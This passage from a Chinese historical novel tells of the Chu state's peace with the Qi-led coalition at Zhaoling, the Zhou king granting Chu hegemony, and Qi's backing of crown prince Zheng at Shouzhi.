“上大夫此来何事?”国巫矞似见到蒍吕臣,猿猴般攀着树枝向下,然后抱着树干迅速滑了下来。只见他穿一件粗布短袍,瘦高的个头,半白的长发,长长的脸,长长的鼻子,双眼明亮而空灵,闪动着喜悦的光彩。
“齐侯领中原联军犯境,大王请国巫回宫议事。”蒍吕臣郑重说道。
“吾观岁星在楚,有龙形白云过山!天象大吉,为何竟有强敌来犯?”国巫一下迷惑起来。
其实,矞似是鄀国人。他的父亲观丁父是鄀国的神巫,传说他不但能预测吉凶,而且还有通神之能,名声传遍江汉。熊通在称王之前征伐鄀国,将观丁父抢来,封为楚国国巫。他从此一心辅佐武王。公元前704年季春的一天,汉江之上出现一道罕见奇观:一道龙形白云头饮江水,尾翘蓝天,斜横在江面之上,两岸观者如云。他立即对熊通说道:“此为白龙饮江,大吉之兆,天启大楚称王!”
熊通依言召集汉江南北的十六国诸侯在沈鹿(今湖北钟祥县)会盟,宣布称王。并为自己封号武王,统领汉江流域的诸侯,使楚国从此走上振兴之路。楚人对观丁父敬佩有加。他死后,其子矞似承父之位至今,已辅佐文王和成王两代楚王。
蒍吕臣同样敬佩矞似,说道:“依国巫所言,那龙形白云果然又现?莫非真为天龙?”
“老巫在此观天问吉,渐渐有悟。龙形白云,即为传说之白龙穷奇!相传,穷奇于江汉巡游数百年,乃龙临楚国,故都丹阳称之龙城!”
“南人崇凤,北人崇龙,那穷奇为何常游江汉?”
“只为寻找凤凰之心!昔穷奇追随凤凰千年。当凤凰之心被天帝击碎,跌落涡水,穷奇从此徘徊于江淮之间,一心要让凤凰再生!在涡水之畔,凤凰岭上,有人闻到莫名异香。老巫曾跋涉数百里,在凤凰岭上独居三月,亦闻此香,疑为凤香也!”
“凤凰之心既碎,何来凤香?何谈凤凰再生?”蒍吕臣仍然疑惑不解。
“老巫虽未参透,然凤凰五百年生死轮回,却为天数!家父有言:凤凰再生之日,便为楚国称霸天下之时!”
蒍吕臣又暗生钦佩之情。国巫在深山之中一住数年,穷究天人之变,见识深远。他由衷地说道:“天机难测,国巫年高,安得在此长居?此次回宫,不必再返!”
“天呈吉象,千载难遇,岂敢贪安逸而失天时?此地山高树异,正为问天佳处,我自得其乐,上大夫勿念。”
楚人被抛弃、被驱赶、**戮,已达千年。在绝望无助的时候,神明是他们唯一的希望。因此,楚国曾遍地巫风,家家祭神,把好的东西都拿来祭神。巫风的盛行,使楚人渐渐养成了重神轻人,重精神世界,轻现实生活的特性。而作为巫,他们根本不屑尘世的享乐,究天人之机,探神鬼之迷,才是他们的至高享受!在民间,将一切都献给神的生民,大有人在。中原对楚人这种无度地尊神和祭神讽之为“淫祀”,即过度.无节制的祭祀。直到观丁父建议楚武王废家巫,禁淫祀,才扫除了楚国的巫风。
矞似随蒍吕臣急急下山,来见楚成王。见大王神色忧虑,说道:“老巫资质愚鲁,故长居深山,静养灵性,不曾与王分忧,心中惶恐!”
“国巫无须自责,一切皆为天意!今中原联军兵临城下,孤意与之一战,又恐两败俱伤,生灵凃炭,故此不决!有问国巫,此战吉凶如何?”
“大王若避凶就吉,则无往不利!”
“此话何解?”
“大王,龙驭北方,凤佑南方。故北为阳,南为阴。若我守阴抱阳,便是避凶就吉。”
“守阴抱阳?国巫之意,当以柔克之?”
“然也!万物芸芸,各归其本。人之本,为德与义。德义如水,只居下游;德义如石,不言其刚!此为守常。常者,万物之道也。若大王抱阴守阳,则能屈能伸,能柔能刚,何战不胜?”
楚成王点点头,觉得有道理。但,从武王到文王,都是一生征战,从未有过妥协的先例,他心中决战的意念,仍然挥之不去。
见他还在犹豫,矞似说道:“疾风过岗,草木蛰伏;风暴掠江,百鸟躲藏!待风暴过后,必万木欣荣,百鸟翱翔。大王,那齐侯霸业正盛,中原诸侯集于麾下,此时不可争锋!然管仲已近古稀,齐侯亦过半百,而大王正是齿未之年,来日方长。何必争一时之长短?”
楚成王一听,是啊,管仲和齐桓公都老了,他们还能称霸几时?心中一下豁然开朗。
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这时,子文和屈完都觉得不能再等了,听说国巫下山,便一齐入宫来找大王。
屈完知道他性格犹豫,怕子文煽动他出战,便抢先说道:“大王,此战欲开,从此便与中原为敌!若相忍媾和,则与诸夏皆兄弟也!大王不可迟疑,迟则生变!”
“楚不为城下之盟也!”楚成王既要守常无凶,又要面子。
子文听出大王言外之意,说道:“若敖可再往陉地,探其真意。”
屈完长舒一口气,大王虽心有不甘,也不愿楚国生灵涂炭。只要那管仲的条件不苛刻,和平有望了!他立即动身,前往联军大营。
四月的阳光,照耀着大沙河中游一片无际的平原洼地。洼地之上,营帐连云,将士如海。八**队在这片天然练兵场挥戈舞戟,纵马驰骋。
这,就是位于淮河流域的陉地,今日河南漯河市的郾城区。陈国的军营驻扎在洼地的西南方,与卫军并列,紧靠在宋军之后,三军成品字形排列,组成八国联军的右军。年过六十的陈宣公金盔金甲,带着幼子妫款立于金辂之上,巡视在操练的万余陈国将士之间。儿子妫款说道:“战阵威武,将士用心,父亲年高,不必日日来巡。”
“此战非同小可!必欲一战而灭楚!不然,国家危也。”
“蔡国已灭,楚人敢犯我乎?”妫款是太子,现已年过三十,正是为父分忧的年龄。
“若此战不胜,楚人必复蔡国!蔡国复,陈国危矣!”
妫款点点头。他身材颀长,面容俊秀,睁着一双黑色的大眼愣了一下,说道:“果若此战不胜,楚人复蔡,我将何为?”
陈宣公一听,无奈说道:“与楚结盟,降之。”
妫款一听,心中发凉。看来,只有拚一死战了!就在这时,远远看见宋桓公和卫文公的辂车驶来。陈宣公说道:“二君前来,必有要事!”说完驱车迎了上去。
“陈侯治军严明,必战无不胜!”两车抵近,宋桓公赞誉道。
陈宣公坚定地说道:“我军只待宋公号令,一举灭楚,虽万死而不退!”宋、卫、陈三国组成的右军,宋桓公是元帅。
“然驻此一月有余,齐侯不发兵,陈侯可知缘故?”卫文公问道。
陈宣公担心地说道:“莫非管卿欲与楚媾和?”
一语点到宋桓公的软处。子姓的商人与羋姓的楚人为世代冤仇,此时不灭楚,楚人必报过去的灭族之恨!他立即说道:“若不灭楚,陈必危也!”
“必说管仲,与楚一战!”陈宣公知道,现在是灭楚的最好时机。
“陈侯欲说管相,我必相从!”卫文公也说道。卫国也是子姓商人之国。当年,周武王将子姓商人十三族分封到宋国,又将剩余的七族分到卫国。故宋、卫二国都是商人的天下,楚人的死敌。但陈宣公迷惑地说道:“宋公居爵至尊,名传海宇,齐侯言听计从,为何不往说之?”
宋桓公哈哈大笑道:“陈为炎帝之裔,陈侯为大周国丈,身世信誉,谁可比肩?”
陈宣公这才醒悟:自己是当今天子周恵王的老丈人!当然是进谏的最佳人选。而商人与楚是为私仇,宋桓公与卫文公确实不好领头。
陈宣公名杵臼,是陈国第十二代君主陈桓公最小的儿子。他本来没有资格承袭君位,但阴差阳错,君侯的冠冕从天上掉到了他的头上。
作家的话
八国诸侯虽各怀心思,但和平是大家共同的愿望。只有相互容忍,彼此包容的心胸与气度,和平才会降临。
第15章 召陵之盟 气壮山河(2)
四十一年前的公元前707年,父亲陈桓公去世。身为嫡子的大哥公子免守孝之时,被叔叔公子佗暗杀。此举引起国势强盛的蔡国不满。雄心勃勃的蔡桓侯派弟弟蔡季化妆成猎人潜入陈国南山,把公子佗的脑袋砍下,挂在车辕之上,进入都城宛丘,扶立蔡国的外甥,也就是杵臼的二哥公子跃为君,他,便是陈厉公。
可陈厉公在位只有七年。临终之时,惟一的儿子公子完还不到一岁。他便把君位传给了弟弟公子林。即杵臼的三哥。可三哥在位七年,也莫名其妙地去世了。三哥没有生下儿子,老四杵臼便成为唯一的君位继承人。
公元前693年,杵臼继承君位。十七年后的公元前676年,东周第四代天子周僖王驾崩,其子姬阆承位,他就是周惠王。
周惠王刚刚继位,就传出一段佳话。
这年一开春,刚刚篡位成功的郑国国君郑厉公姬突带着重礼前往洛邑,朝见新继位的周惠王。一进王殿,就遇到两个人:一个是大周卿士、虢国国君姬丑。另一个是刚刚继位的晋国新君姬诡诸,史称晋献公。
“三位叔父不约而来,王廷之幸也!”年轻的天子满脸笑容,开心地说道。
周礼规定:天子称天下诸侯,要自降辈份。同姓诸侯称叔父,异姓诸侯称伯舅。天子叫三人叔父,大家这才明白:四人都姓姬,原来是一家人。
姬突也高兴地说道:“巧哉!天王年少英俊,乃姬家之幸,大周之福也!”
“既为一家,当议家事。”卿士就是国相,姬丑是办实事的人。
“天子有何家事?”晋献公姬诡诸刚刚继位,还摸不着头脑。
“天王承位听政,后宫岂能无主?”姬丑不但承继了父亲的卿士之位,也承继了父亲拍马屁的能力。他的父亲叫姬石父,周幽王烽火戏诸侯,就是他出的馊主意。
“闻陈女美艳绝伦,果真如此?”年轻的天子两眼放出光来。
“陈女之美,闻名天下,不闻息妫之事乎?”姬突赶紧逢迎天子。
天子果然心动了,问道:“陈女之美,早有所闻,不知品性如何?”
“陈女美而慧,有王后之质!天王有意,郑伯须担大媒也!”虢公姬丑把责任推给了郑厉公姬突。
郑厉公不好推辞,只好说道:“突当亲往陈国,必为天朝寻一貌美品正之女!”
周惠王心中高兴,大宴三位诸侯。酒宴上,惠王拿出王宫最好的甜酒招待三人,三人轮番敬王,惠王有敬必喝,在半醉半醒之时,赐给每人五对美玉,三匹宝马。三人尽兴而归。此事还被后世的孔夫子痛批了一顿。他说:天子策命的诸侯,封爵不同,礼仪的等级也相应不同,怎能违例赠送?非礼也!
就这样,郑厉公来到陈国,选定陈宣公十七岁的女儿嫁给了周惠王。陈宣公就这样稀里糊涂地当上了大周王朝的国丈。但,好事还没完。
周惠王一见新娘,果然美若天仙,便封为王后,史称惠后。惠后不久生下一子,取名带。周惠王在承位之前就有一子,名郑,被立为嫡子。故王子带史称叔带。更有小道消息说,叔带出生,周惠王就后悔了,悔不该早早立王子郑为嫡。如果周惠王易嫡,杵臼就可能是未来的国舅。国丈兼国舅,他的地位当然高过宋桓公。
陈宣公想到这里,胸脯挺得更高。于是,三人一起去找管仲。
此时的管仲也疑虑重重。屈完一去许久,音讯全无,楚人意欲何为?他正在中军大帐反复思量,却见三人闯了进来。陈宣公毫不客气地对管仲说道:“管卿既领兵至此,为何犹豫不前?如此示弱,必军心动摇,楚人更为得志!”
管仲见到三人,不敢怠慢,起身说道:“楚国莫敖前来求和,安得不宣而战?陈侯勿躁,管仲自有方略。”
陈宣公一时无话可说。卫文公说道:“楚人至今不来,是轻而戏我耳!”
“卫侯何乃太急?楚人不久必来。”管仲满脸陪笑道。
宋桓公也开口道:“昔管卿遣隰朋告我曰:‘若不伐楚,中原亡无日也!’今日为何踌躇不前?一意议和?可是惧楚?”
“呵呵,宋公心忧中原安危,与齐侯同心,岂有惧楚之理?”
这时,左军的鲁、郑、曹三国国君闻讯,也赶了过来。死等了一个多月,大家都不高兴,要问个明白。正在中军训练的齐桓公见势不好,也赶了过来。众人见齐桓公和管仲都在,纷纷出言质疑。
“粮草将尽,齐侯为何不战?”
“我联军十万,何惧一隅之敌?”
齐桓公也沉不住气了,楚人抢了他的老婆,他也想战,对管仲说道:“楚人攻伐灭国,蛮野无礼,仲父何必言和?”
“齐侯号令尊王攘夷,今日正可一举铲灭南蛮,机不可失也。”郑文公也急于一战。若联军胜,他就不必偷偷摸摸地巴结楚人了。若楚人胜,他必是楚人的第一盟友,又何惧齐国讨伐?
这时,管仲不能再沉默了,他说道:“诸位公侯,请听夷吾一言:那屈完告我曰:楚人与我华夏本为一脉,然屡遭中原讨伐,险遭灭族,遂沦为蛮夷。今攻伐灭国,只为重回中原。拳拳之心,众当察之。”
“然楚人侵我城池,灭我家国,抢我妻室,此罪何免?”陈宣公愤慨地说道。
管仲点点头,说道:“自幽王失宗周,礼崩乐坏,诸侯混战,致弑君三十六,**五十二。今若再燃战火,必怨仇环结,罪孽丛生,中原之祸,了无穷尽也。”
大家都沉静下来。可宋桓公还是不服,说道:“管卿既有此意,当初为何传檄诸侯,联军来战?”
“楚人终为大患,其势浩大,若无联军压境,岂能改弦易辙?今楚知错言和,方可息兵罢战也。”
“楚人处蛮野之地千年,恶**成性,改弦易辙,诚实难也。”陈宣公还是想不通。
管仲静静地说道:“窃闻霸者,招抚以礼,怀远以德。恕人之过,方为大德。若我德柔四夷,礼尽万邦,谁不感恩思归?今日之楚,不同昔日之蛮。那屈完文质彬彬,谦逊有礼,楚王言听计从,是为有德之人。必与我心意相通也。”
齐桓公站在诸侯之前,象学生一般垂手静立:“仲父之言是也。”话刚说完,帐外校尉进来报告:“楚使到!”
齐桓公转身出帐,管仲也跟随而出。屈完一见,躬身说道:“屈完来迟,齐侯见谅!”
“莫敖帐内说话。”齐桓公侧身让道。
“齐侯先请!”屈完恭敬地说道。
齐桓公抬步入帐,坐在主位之上,说道:“莫敖此来,何以告我?”
屈完说道:“外臣前番军前之诺,必守不怠。楚愿侍奉天朝,岁岁与贡!”他看了看众位诸侯,说道“我王素慕中原诸侯,久仰齐侯!愿与众等结盟,不知尊意若何?”
齐桓公迟疑片刻,还是点了点头。只要楚人臣服天子,不再蚕食中原,这就够了,便望了一眼管仲。管仲立即说道:“楚王大义息战,莫敖孤身玉成,此中原之福也!君上应退兵一舍,以敬楚王!”
屈完说道:“谢齐侯、管卿盛情!还有一事,期齐侯恩许!”
“何事?”齐桓公立即收敛笑意。
“蔡为楚国旧盟,亦为周室亲枝。
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切望齐侯勿断其祭祀香火,蔡侯必感齐侯再生之德,世与齐亲。”
管仲立即向齐桓公点头。齐桓公笑道:“蔡为诸夏兄弟,岂可弃之?寡人当撤兵上蔡,为蔡复国!”
“多谢齐侯大徳!”屈完望着齐桓公那宽阔的前额,生出一丝敬佩之情。夺妻之恨,竟不提一字。
古代三十里为一舍,联军后退三十里,即从郾城城南退至城东,至于召陵。约定日期,请楚王来盟。
霸主诚心已表,该楚成王出面了!屈完喜孜孜地回报:“齐侯兵退一舍,以敬大王!切盼大王屈尊遙驾!管卿亦望一晤子文也!”
“大王岂可轻动?还请若敖三会齐侯!”子文说道。
向来稳重的屈完被和平冲昏了头脑,听子文之言,幡然大悟!齐桓公霸主之位已定,且和约未签,霸主就撤兵,如此礼重,大王驾到,还好意思与齐争盟主之位吗?如不争,齐侯为主,大王为从,楚人的脸面往哪儿搁?可,大王不到,难昭诚意啊!
楚成王和子文笑嘻嘻地把他送到茅门前,让他大吃一惊!八大车金灿灿的黄金已装载完毕。楚成王也笑道:“若敖三会齐侯,诸侯诚心盟楚,岂能无礼?”
公元前656年夏天,屈完领衔,带着议和使团和八大车黄金来到召陵会盟。八囯诸侯欢喜之余,个个嘘叹楚国之富;郑文公更是喜出望外,他再也不会夹在齐、楚之间为难了。诸侯也都来迎接。众人驱车直奔会盟高台。车过一个山坳,屈完便惊呆了。
只见盟台四周,八国大军分八路纵向而列,自远方山野延伸而来。队伍整齐庄肃,战士衣甲锃亮,各色旌旗猎猎飘舞,如八道铁流,从八方拱卫着会盟台。齐桓公见他惊讶不语,得意地说道:“若敖愿观中国之兵乎?”
楚国不大讲究军容,屈完叹为观止,说道:“完居南方草泽之间,未曾亲睹中**威,愿瞻其盛!”
齐桓公邀屈完登上自己华丽的金辂,驱车阅兵。各诸侯依次上车,纵马跟进。齐桓公对屈完说道:“诸侯列出此阵,非壮不谷之威,只为承先祖美德,与楚为善也!愿齐楚世世睦好,可否?”
霸主如此推心置腹,让屈完十分感动。他说道:“方伯为楚谋福,睦楚为盟,我王之愿也,敢不惜齐楚之谊,今日之盟?”
突然,战鼓齐鸣,吼声起伏,惊天动地!齐桓公立即亢奋起来,说道:“观此威武之师,以之众战,何军不胜?以之攻城,何城不克?”
屈完见他头脑发热,反击道:“君若德绥天下,谁敢不服?君若以力,楚将以方城为城,汉水为池,与君一战!联军虽众,城池之下,无所用也!”
齐桓公惊讶地看着屈完,屈完坚毅地望着齐桓公,突然四目双移,两人仰天哈哈大笑起来。
阅兵完毕,众诸侯登上会盟台。写有国名的九国各色旗怾迎风飘扬,祭坛之上,香烟袅袅。齐桓公带领屈完和众诸侯依次焚香祭祀。管仲站于台前,高声念道:“皇天在上,后土在下,齐侯小白,楚莫敖完,宋公御说,鲁公申,陈侯杵臼,卫侯毀,郑伯捷,曹伯班,许男业,九国在此焚香盟誓:共结同盟,同尊天子,匡护中原,患难与共。有违此誓,神人共戮,无享其国!”
一场世纪大战化为召陵之盟。楚人从荆楚南蛮变为诸夏兄弟!中囯的史书从此不称楚国为“荆蛮”.“南蛮”,楚国也不再总以蛮夷自居,而把自己当作中囯人了。
但盟主却不是楚国,楚成王对召陵之盟心有不甘:既然不能降伏中国,也应坐上盟主之位呀!楚国的称霸之心,从此开始。
第16章 天子赐胙 楚国受封
题记:楚国求和,本是无奈之举。却意外获得上天垂爱,天子青睐。
联军撤兵而去,蔡穆侯也回蔡复国了。屈完对楚成王说道:“齐侯大义,欲结齐楚之好!时至秋贡之时,须遵盟约,入贡天子!”
楚成王仍有不甘,想了想,说道:“二王并立,贡则损威!”
子文笑道:“中原威不在王,而在霸。我王若称霸中原,天下谁敢不服?”
楚成王一听,恍然大悟,忙备厚礼,遣屈完前往洛邑。
洛邑,地处九州腹地,八方之广。因在洛河之滨,故又称洛阳。早在西周年间,目光长远的周公旦平息“三监”之乱后,就开始在这里兴建王宫,迁入九鼎,鼎定了洛邑的东都地位。因为犒京(西安)居西,洛邑在东,故以犒京为首都的三百年称西周,以洛邑为首都的春秋战国五百年称东周。洛邑高大魏峨的宫门,庄严神圣的大殿,加上每座千斤以上的九座黄铜大鼎耸立殿前,彰示着天子气象,王朝尊严!
王朝迁都一百多年来,楚国第一次进都朝王。屈完带着十车黄铜,十车苞茅,十车桃弧棘矢,十车虎豹熊皮及楚地珍奇特产来到洛邑,轰动都城!百姓拥立街头,爭睹楚使风采。深宫寂寞的周惠王闻讯,更是喜笑颜开,大开明堂,召百官盛装进宫,迎候楚使。
明堂,史称天宫,是周公旦伐灭“三桓”后主持修建,有着气势磅礴的“七天建筑”:天阙、天街、天门、天津、天枢、天宫、天堂!雕梁画栋,琼楼玉宇,宏伟壮丽!
周惠王盛装上朝。他头戴十二旒天子冠冕,身穿玄色衮(gun滚)服。衮服之上,绣着至高无上的十二道章纹,即日、月、星辰、群山、龙、凤、彝、藻、火、粉米、黼[fǔ]和黻fú]。其中日、月、星辰代表王权天授,光耀天地;群山寓稳定镇守之意;龙为神灵变幻之意;凤为华彩吉祥之兆;彝是供奉的器具,宗彝寓意着供奉和孝养。藻常在水中受洗,象征着纯洁;火象征明亮;粉米象征民有所食;黼原指服装上白与黑的花纹,这里指非黑即白,要求君主当机立断、敢于割舍。黻则指服装上半青半黑的颜色。因青与黑颜色相近,取意要君主有辨别、明察之能。
在十二章纹中,日、月、星辰代表至高无上的王权,是天子独有的章纹,诸侯都不能用。故爵位最高的公爵便只能佩余下的九章纹。侯爵只佩七章纹,故群山和龙不能佩。伯爵只能用六章纹,故不能佩凤。子、男二个最低的爵位,每低一等,都要减去一个章纹。
但是,威严华丽的服饰,掩不住天子的王气黯淡。此时,中囯的霸权**已取代王权**。周幽王的儿子**王迁都洛邑之后,王权沦丧,诸侯大多不来朝贡,致使天子无尊。齐国以尊王崛起,可当霸权稳固以后,齐桓公和管仲便事事自作主张,不进京请示汇报。就连北伐山戎、剿灭令支、孤竹二国,也不向天子献捷。连八国联军伐楚这样的大事,也将王师抛至一边,而以霸主之名号令出战。礼乐征伐自天子出啊!天威何在?现在,中原诸侯只朝贡霸主,不朝贡天子,让周惠王深感王权旁落,大周王朝形同虚设。
周惠王老了!他瘦长的身材,尖尖的鼻子,眼窝下陷,眼珠浑浊,毫无天子的气象。他的曾祖父周桓王为夺回王权,曾举王城之兵,在繻葛与当时的霸主郑庄公大战一场,结果身负箭伤,大败而回。从此,他的爷爷周庄王、父亲周僖王都失去了重整王朝的雄心,纵情声色,耽于享乐。而他,更是有过之而无不及。他以天子之名,在蒍国的土地上兴建园圃,还强占子禽等几位大夫的田产,修建别宫。弄得蒍国联合五位大夫作乱,差一点将他推翻,他这才清醒过来。
他生活的放纵,是因为**上的无奈。他的父亲周僖王全力支持齐桓公称霸,可称霸后的齐国却将天子的权力全揽走了,他能怎么办?
现在,最有实力的楚国携重礼来贡,怎能不让他心花怒放?他的机会来了!他要以楚制齐,重拾王权,故盛情礼待楚使。
屈完见天子大开中门,忙趋步向前,向周惠王三跪九拜,说道:“陪臣屈完奉熊恽之命,千里来朝,拜谒天颜,愿天王万岁万岁万万岁!”
按周礼,诸侯的大夫对天子自称陪臣,对他国君主自称外臣。周惠王见楚使极尽周礼,足慰平生。说道:“楚国归附,乃中原之福,大周之幸也!贤卿请起!”说着亲自下来,扶屈完起身。屈完谢恩,站立禀告:“楚居蛮荒之地,蒙天朝赐国,方有今日。楚必忠心事王,岁岁来朝!”
“楚为颛顼之裔,祝融之后,亦为大周子民!今君明臣贤,不复为蛮夷也!”大周天子得悉好战的楚人竟能息武罢战,与中原诸侯言和,备加欣赏。
屈完见天子摘掉了楚人蛮夷的帽子,感恩不已,又跪下说道:“谨谢天王!楚人代代梦回中原,今日成真!后必护卫中原,侍奉天朝。”
周惠王兴奋地说道:“楚使听旨:镇尓南方夷越之乱,无侵中国!”
屈完闻旨,喜出望外!天子的话,至少有两层意思;一是授予楚国镇守南方的霸主之位;二是赋予楚国对东夷和越人的讨伐之权!这与当年大周王朝赋予齐国方伯之位何其相似!屈完立即跪下:“谢天王赐封!”
“賜胙!”
屈完一听,更是五体投地,叩头谢恩:“谢天王隆恩!”
胙(zuò做)肉,是天子祭天的祭肉,是最高最神圣的礼物,只赐给天下霸主和文、武两代天子的直系有功的后代。天子授予楚国征讨南方夷越之权,又赐胙肉,更是明确了楚国的霸主地位。这不但将过去楚国侵呑的国土全部合法化,而且进一步确定了楚国与齐囯的同等地位!要知道,楚国控制的国土面积,比当年周成王派召公封给齐国的管辖之地更大!
屈完的相忍求和,反而使楚国一跃而成为天子钦定的中国南方霸主,使中原形成了南北二霸对峙的局面。
齐桓公闻讯,彻底懵了!楚人是自己征服的,天子反而对楚封霸赐胙,什么都不给我,有这样的天子吗?他忙召众臣商议。
隰
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朋一眼就看穿了天子的用心,说道:“天子册封南霸,是以楚制我也。”
一生守礼不怠的太傅鲍叔牙说道:“礼云:礼乐征罚自天子出,君侯伐楚,不告天子,天子何以赏赐?”
师傅又在责怪自己,齐桓公哑口无言。可宾须无气得满脸胡须竖立,骂道:“有劳不赏,无劳受封,天子昏愦也。”
可管仲却静静说道:“中原若安,何怨之有?天子自有道理。”
“天子封蛮为霸,何理之有?”
“大司马有所不知。昔楚人称霸汉水,召十六国作沈鹿之盟,便嫌爵小位卑,令随侯进京朝王,请为楚人加爵。然天王不允。那楚君熊通怒道:“王不加爵,我自尊耳!”便自立为王,攻伐征讨至今日三世,灭国四十有余。今日封霸赐爵,是弥前缺,安抚楚人,勿使祸乱中原也。”
大家一听,都沉默了。当今中原,楚人国土最广,兵力最强,不为所用,便为所害。周惠王为免重蹈覆辙,实为无奈之举。
齐桓公终于明白了,说道:“大行速往洛邑朝王,以告伐楚之事。”亡羊补牢,还不算晚。
“臣遵命!”隰朋受命而往。
隰朋稳健一如屈完,他小心进殿,恭敬朝王,说道:“小白率中原诸侯伐楚,以镇南方之乱,今南方已定,专禀天王!”
“伯舅辛劳,寡人已知。”周惠王有气无力地说道。天子姓姬,齐国公室姓姜,是异姓诸侯,称伯舅。
“小白义结楚人,作召陵之盟,从此与中原一体,共沐天恩,以慰天王之愿也!”隰朋言下之意,召陵之盟,楚人归顺,是小白的功劳啊,您也要赏块胙肉尝尝呀!
“楚、齐乃南北天柱,大周股肱,愿尔同心戮力,共扶天朝!”天子殷殷寄语,实质装聋作哑,不承认齐国表功,更不提封赏之事。
隰朋见天子面容憔悴,强作欢颜,明显不愿多谈,便悻然而退。刚出殿外,见一身材颀长,雍容华贵的年轻人,脸色苍白愁苦,一双半合的眼睛怯弱黯淡,正垂首入殿,与他擦肩而过。聪明的隰朋突然有悟,可又不敢造次,便与他对视一眼,躬身而退。
“尔为齐使乎?”那人目光随他后转,试问道。
“陪臣乃齐使隰朋也,殿下莫非天朝世子?”隰朋恭敬地停步,低声问道。
“正是!”太子忙把他拉到一边,说道:“齐侯救我!”
隰朋一惊,忙问:“世子何出此言?”
“父王宠爱母后,欲废长立幼,另立带弟。若然,吾命休矣!”
原来,自从二十年前周惠王以郑厉公为媒,娶了陈宣公的女儿陈妫之后,便立为王后。她,就是惠后。惠后生下王子叔带,便在床头向周惠王吹耳边风,要立叔带为嫡子。可嫡子伯郑没有任何过错,周恵王还没找到易嫡的理由。
伯郑知道自己的储位岌岌可危,可无计可施。现在,父亲年迈体衰,疾病缠身。若哪天他宣布易嫡,自己就完了。听说齐使前来朝王,便想请霸主之国帮忙,没想到在门口碰见隰朋。(未完待续,下节更好看.)
第十七章 齐国护嫡 晋国灭虢
隰朋心机灵动,他感到周惠王已倒向楚国一边。如叔带承位,必随父爱,偏爱楚国!但齐国若能以霸主之威,力保伯郑继位,则未来之王必然亲齐。便说道:“世子勿忧,待隰朋回禀齐侯,必护世子!”
隰朋回国,把朝觐的经过告诉齐桓公。齐桓公气得摇头叹气。天子宁愿赐给楚国胙肉,也不赐给齐国,满腔怨气,不肯帮助太子,说道:“此乃天子家事,寡人如何能助?”
可管仲却觉得兹事体大,说道:“齐国已失天宠,若叔带承王衣钵,一心向楚,则齐囯霸权难保!惟结世子之心,固其储位,则天朝向齐,齐方无忧也!”
“天朝废立大事,寡人鞭长莫及也!”齐桓公无奈地说道。
是啊,怎样保住太子呢?管仲思虑良久,众臣也束手无策。管仲突然诡密一笑,说道:“会盟!”
公元前655年春天,正当齐国紧锣密鼓准备召盟天下诸侯之时,一代贤臣宁戚去世了。二十六年前,当他自卫国来到齐国以后,便封为大司田,与鮑叔牙一起,主政国内事务,使齐囯连年丰收,日益富强。让齐桓公、管仲和隰朋全心投入到中原事务中。但是,天妒英才,宁戚不到五十就撒手西归,使齐天折柱,齐囯内治开始松驰下滑。
隆重的国葬完毕,齐桓公一面派人到齐囯西南面的首止为太子伯郑修筑行宫,一面又派隰朋觐见周惠王。这回隰朋学乖了,对天子说道:“诸侯欲会盟首止,号令尊王朝贡,恭请世子主盟!”
过去会盟,齐国极少请示天子,都是自作主张。今日终于来求了!周惠王自以为以楚制齐的策略生了效,欣然同意太子前去主盟。
七月下旬的这一天,天空骄阳似火,地面酷热难当。天朝太子姬伯郑乘坐着的辂车来到首止。离行宫还有二三里,伯郑只觉得车外人声鼎沸,热闹非凡,便好奇地撩开车帘向外张望。只见专道两边旗幡飞扬,军士在两侧列队相向站立,无数百姓在沿途看热闹。如此壮观的欢迎场面,让他一时不知所措,只好撩开帷帘,出来举手示谢。谁知两边军士齐声喊道:“恭迎天朝世子!”
自周朝东迁洛阳以来,就是天子也没有享受过这种礼遇。伯郑见将士们满脸是汗,心中不忍,又无可奈何。等车到行宫,只见齐、宋、鲁、郑、陈、卫、曹、许八国大旗迎风飞舞,八国诸侯头戴君冠,身穿衮服,站立两旁,躬身迎候。他们身后,是各国卿相、大夫及地方长官等黑压压的一大片人。
“恭迎世子驾临!”齐桓公和宋桓公上前,鞠躬致礼。众诸侯也满脸笑容地围了上来。
伯郑下车,只听鼓乐齐鸣,欢呼声起。他感到无比亲切和温馨,那双长期半合的大眼,睁得明亮闪光,激动地说道:“天下诸侯会盟尊王,乃天下大幸,万民之福也!”
诸侯觐见完毕,又簇拥太子进入行宫。行宫內,摆满无数俎案,俎案上密放着五颜六色的山珍海味。主座之前,摆着一张特大台案,台案上更是摆满珍馐佳餚。齐桓公将太子引向主座,自己举尊说道:“今中原安泰,海宇澄明,皆为尊王攘夷之功!世子在上,如天王下临!中原诸侯共敬世子!”
“天王万岁,世子千岁!”
诸侯们齐声高呼,举尊同敬太子。此时的伯郑已经手足无错,只好接受敬贺,一干而尽,马上起身回敬。诸侯们继而轮流又敬,伯郑回敬。如此七轮之后,有诸侯还敬,伯郑知道不能喝了,说道:“七献之礼,已极人臣,不可僭越!”
周礼规定,诸侯互敬,只能七轮,名为七献。只有敬天子才能九献。如果再敬,他就要僭越犯上了。诚惶诚恐的太子,担心父王知道,一怒之下将自己废了。
宴罢人散,太子心中仍然惴惴不安,他夜召齐桓公,说道:“诸侯礼仪太过,恐有僭越,明日不必如此。”齐桓公说:“诸侯大义,只为显世子之尊,以绝天王废立之心,更绝叔带争储之念也。天下诸侯共尊世子,传于中原,谁敢废立?”
太子一听,恍然大悟。是啊,中原诸侯是在昭告天下,他们将要效忠的储王的是自己,父王也不敢轻易废立了!那叔带还敢觊觎王位吗?想到这里,心中对齐桓公感激涕零,从此心向齐国。各诸侯从此每天轮流侍奉太子寝食,聆听太子训谕,并不停设宴敬酒,近半年的时间,太子极尽尊荣!
周惠王闻讯,大惊失色!诸侯如此敬重太子,他怎么办?如果废掉伯
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郑,就是与众诸侯为敌啊!他突然想到,这又是齐国捣的鬼!心中大怒,骂道:“齐侯欺孤太甚,不拆其盟,恐生变矣!”
他左思右想,想出一个主意。立即令太宰周公孔前往首止,密会郑文公,将-封密涵送给他。
那密涵写道:“吾欲抚汝,复汝卿士之位。汝必从楚,共立叔带!齐侯忤逆,欲拥伯郑,汝若绝盟,则天下安矣!”
郑文公大喜!郑人本来心向楚国,今天子下密旨让他从楚,还能重登大周卿士之位,何乐而不为?如果叔带继位,也必心向楚国!他高兴得招呼都不打一声,连夜绝盟而去。
第二天一大早,齐桓公闻报,气得怒道:“郑伯逃盟,我必伐之。”
管仲说道:“可先禀告太子,再作打算。”
齐桓公觉得有理,带着众诸侯去行宫报告太子伯郑。一出大帐,只见天色阴沉,寒风凛冽,入冬了!折腾了半年,好端端的盟会就这样被死胖子搅黄了,齐桓公越想越气,突见一群人急急奔来,在他面前一齐跪下,为首者以头叩地:“齐侯,救救虢国!”
“汝等何人?”齐桓公惊道。
